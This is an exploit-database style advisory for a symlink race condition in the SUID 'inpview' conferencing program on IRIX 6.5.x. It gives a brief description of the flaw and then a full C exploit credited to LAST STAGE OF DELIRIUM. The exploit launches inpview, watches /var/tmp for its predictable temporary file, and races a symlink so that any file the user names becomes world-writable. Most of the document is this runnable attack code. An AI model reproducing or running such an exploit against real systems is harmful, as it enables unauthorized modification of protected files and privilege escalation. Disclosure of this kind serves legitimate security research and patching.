IRIX 6.5.x inpview Race Condition Vulnerability

                                                source: http://www.securityfocus.com/bid/1530/info

Certain versions of IRIX ship with a version of inpview that creates files in '/var/tmp/' in an insecure manner and is therefore prone to a race condition.

InPerson's 'inpview' is a networked multimedia conferencing tool. InPerson provides multiway audio and video conferencing with a shared whiteboard, combined into a single, easy-to-use application. You use a separate "phone" tool to place and answer calls.

The 'inpview' program writes out temporary files in the '/var/tmp' directory. Because these filenames are not random, an attacker can create a symlink to a previously created filename and force the SUID 'inpview' to overwrite the file with 'rw-rw-rw' permissions. 

                /*## copyright LAST STAGE OF DELIRIUM jan 2000 poland        *://lsd-pl.net/ #*/
                /*## /usr/lib/InPerson/inpview                                               #*/

                /*   sets rw-rw-rw permissions                                                */

                #include <sys/types.h>
                #include <dirent.h>
                #include <stdio.h>

                main(int argc,char **argv){
                    DIR *dirp;struct dirent *dentp;

                    printf("copyright LAST STAGE OF DELIRIUM jan 2000 poland  //lsd-pl.net/\n");
                    printf("/usr/lib/InPerson/inpview for irix 6.5 6.5.8 IP:all\n\n");

                    if(argc!=2){
                        printf("usage: %s file\n",argv[0]);
                        exit(-1);
                    }

                    if(!fork()){
                        nice(-20);sleep(2);close(0);close(1);close(2);
                        execle("/usr/lib/InPerson/inpview","lsd",0,0);
                    }

                    printf("looking for temporary file... ");fflush(stdout);
                    chdir("/var/tmp");
                    dirp=opendir(".");
                    while(1){
                        if((dentp=readdir(dirp))==NULL) {rewinddir(dirp);continue;}
                        if(!strncmp(dentp->d_name,".ilmpAAA",8)) break; 
                    }
                    closedir(dirp);
                    printf("found!\n");
                    while(1){
                        if(!symlink(argv[1],dentp->d_name)) break;
                    }
                    sleep(2);
                    unlink(dentp->d_name);

                    execl("/bin/ls","ls","-l",argv[1],0);
                }